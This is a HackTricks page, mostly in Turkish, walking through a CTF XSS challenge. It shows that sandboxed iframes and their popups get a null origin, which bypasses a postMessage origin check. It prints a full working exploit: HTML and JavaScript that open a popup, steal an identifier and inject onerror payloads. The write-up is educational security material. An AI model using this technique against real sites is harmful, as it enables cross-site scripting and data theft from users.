Bypassing SOP with Iframes - 1

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Iframes in SOP-1

Bu challenge NDevTK ve Terjanq tarafından oluşturulmuştur, bir XSS'i istismar etmeniz gerekiyor.

javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}

Ana sorun, ana sayfanın data.body göndermek için DomPurify kullanmasıdır, bu nedenle kendi html verinizi o koda göndermek için e.origin !== window.origin koşulunu bypass etmeniz gerekir.

Önerdikleri çözüme bakalım.

SOP bypass 1 (e.origin === null)

//example.org bir sandboxed iframe içine yerleştirildiğinde, sayfanın origin değeri null olacaktır, yani window.origin === null. Bu nedenle, <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> ile iframe'i yerleştirerek null origin değerini zorlayabiliriz.

Eğer sayfa gömülebilir olsaydı, bu korumayı bu şekilde bypass edebilirdiniz (çerezlerin de SameSite=None olarak ayarlanması gerekebilir).

SOP bypass 2 (window.origin === null)

Daha az bilinen bir gerçek, sandbox değeri allow-popups olarak ayarlandığında, açılan popup tüm sandboxed özellikleri devralacaktır; allow-popups-to-escape-sandbox ayarlanmadıkça.
Bu nedenle, null origin'den bir popup açmak, popup içindeki window.origin değerinin de null olmasını sağlar.

Challenge Solution

Bu nedenle, bu zorluk için, bir iframe oluşturulabilir, vulnerable XSS kod işleyicisine (/iframe.php) bir popup açılabilir; çünkü window.origin === e.origin her ikisi de null olduğundan, XSS'i istismar edecek bir payload göndermek mümkündür.

Bu payload, identifier'ı alacak ve XSS'i üst sayfaya (popup'ı açan sayfa) geri gönderecektir, bu da vulnerable /iframe.php'ye konum değiştirecektir. Identifier bilindiği için, window.origin === e.origin koşulunun sağlanmaması önemli değildir (unutmayın, origin null olan iframe'den gelen popup'dır) çünkü data.identifier === identifier. Böylece, XSS tekrar tetiklenecektir, bu sefer doğru origin'de.

html
<body>
<script>
f = document.createElement("iframe")

// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin